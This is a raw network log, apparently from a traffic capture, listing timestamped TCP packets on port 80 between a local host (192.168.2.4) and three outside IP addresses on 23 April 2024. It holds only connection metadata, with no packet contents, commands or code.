Apr 23, 2024 09:38:01.218039036 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.218064070 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.218100071 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.218111038 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.218135118 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.218169928 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.218179941 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.218205929 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.218241930 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.218254089 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.218277931 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.218312979 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.218324900 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.218348980 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.218384027 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.218389988 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.218420029 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.218456030 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.218463898 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.218492985 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.218528032 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.218538046 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.218564987 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.218600988 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.218607903 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.218636036 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.218672037 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.218681097 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.218705893 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.218741894 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.218753099 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.218779087 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.218816996 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.218823910 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.218852997 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.218889952 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.218897104 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.218924999 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.218962908 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.218970060 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.218997955 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.219033957 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.219043970 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.219069958 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.219104052 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.219114065 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.219140053 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.219177008 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.219183922 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.219214916 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.219253063 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.219261885 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.219289064 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.219324112 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.219331026 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.219360113 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.219393969 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.219402075 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.219429016 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.219465017 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.219470978 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.219501972 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.219538927 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.219547033 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.219573975 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.219609976 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.219623089 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.219645977 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.219681025 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.219690084 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.219717026 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.219753027 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.219763041 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.219788074 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.219822884 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.219831944 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.219860077 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.219897985 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.219907999 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.219934940 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.219970942 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.219980955 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.220005989 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.220041990 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.220061064 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.220077991 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.220143080 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.220144987 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.220181942 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.220217943 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.220227957 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.220253944 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.220294952 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.220304966 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.220330000 CEST	80	49732	185.172.128.59	192.168.2.4
Apr 23, 2024 09:38:01.220376015 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:01.220408916 CEST	49732	80	192.168.2.4	185.172.128.59
Apr 23, 2024 09:38:02.165364981 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:02.366523981 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:02.366632938 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:02.366935015 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:02.567778111 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:02.622432947 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:02.752075911 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:02.752152920 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:02.760155916 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:02.855357885 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:02.855465889 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:02.855586052 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:02.961045027 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:03.067513943 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:03.067539930 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:03.067569971 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:03.067605019 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:03.069124937 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:03.088119984 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.088516951 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.088536024 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.088551998 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.088591099 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.088603973 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.088608027 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.088624954 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.088640928 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.088646889 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.088656902 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.088665962 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.088675022 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.088691950 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.088697910 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.088730097 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.270087957 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:03.321459055 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.321506023 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.321542978 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.321584940 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.321588993 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.321619987 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.321638107 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.321656942 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.321696997 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.321700096 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.321734905 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.321772099 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.321805000 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.321810007 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.321846962 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.321883917 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.321901083 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.321921110 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.321926117 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.321958065 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.322000980 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.322030067 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.322036982 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.322072029 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.322086096 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.322108030 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.322144032 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.322151899 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.322180033 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.322227001 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.378644943 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:03.378688097 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:03.378710985 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:03.378726959 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:03.378731966 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:03.378765106 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:03.378802061 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:03.378812075 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:03.378845930 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:03.409507036 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:03.409586906 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:03.555025101 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.555072069 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.555109978 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.555138111 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.555145979 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.555181980 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.555217981 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.555222034 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.555255890 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.555282116 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.555294037 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.555331945 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.555367947 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.555402994 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.555409908 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.555435896 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.555438995 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.555475950 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.555511951 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.555541039 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.555547953 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.555573940 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.555583954 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.555619001 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.555630922 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.555679083 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.555715084 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.555749893 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.555774927 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.555790901 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.555798054 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.555826902 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.555862904 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.555897951 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.555911064 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.555934906 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.555964947 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.555970907 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.556006908 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.556041956 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.556068897 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.556077957 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.556093931 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.556135893 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.556173086 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.556209087 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.556238890 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.556245089 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.556258917 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.556279898 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.556314945 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.556327105 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.556350946 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.556385994 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.556417942 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.556422949 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.556458950 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.556471109 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.556495905 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.556583881 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.610563993 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:03.610626936 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:03.610660076 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:03.610693932 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:03.610727072 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:03.748862982 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:03.748944998 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:03.789129972 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.789176941 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.789216042 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.789253950 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.789251089 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.789290905 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.789328098 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.789356947 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.789365053 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.789391994 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.789402008 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.789437056 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.789473057 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.789489985 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.789535999 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.789572001 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.789581060 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.789608002 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.789619923 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.789644003 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.789680004 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.789715052 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.789737940 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.789750099 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.789786100 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.789822102 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.789823055 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.789854050 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.789858103 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.789894104 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.789932013 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.789963961 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.789968014 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.789980888 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.790004015 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.790039062 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.790075064 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.790107012 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.790112019 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.790134907 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.790147066 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.790183067 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.790219069 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.790237904 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.790256023 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.790257931 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.790292978 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.790328026 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.790340900 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.790363073 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.790399075 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.790433884 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.790448904 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.790468931 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.790473938 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.790503979 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.790539026 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.790575027 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.790585995 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.790610075 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.790622950 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.790646076 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.790682077 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.790705919 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.790715933 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.790751934 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.790786982 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.790798903 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.790822029 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.790828943 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.790858030 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.790893078 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.790935993 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.790946960 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.790971994 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.790981054 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.791007996 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.791043043 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.791078091 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.791093111 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.791114092 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.791122913 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.791199923 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.791237116 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.791273117 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.791309118 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.791320086 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.791320086 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.791344881 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.791380882 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.791414976 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.791428089 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.791450977 CEST	80	49734	176.97.76.106	192.168.2.4
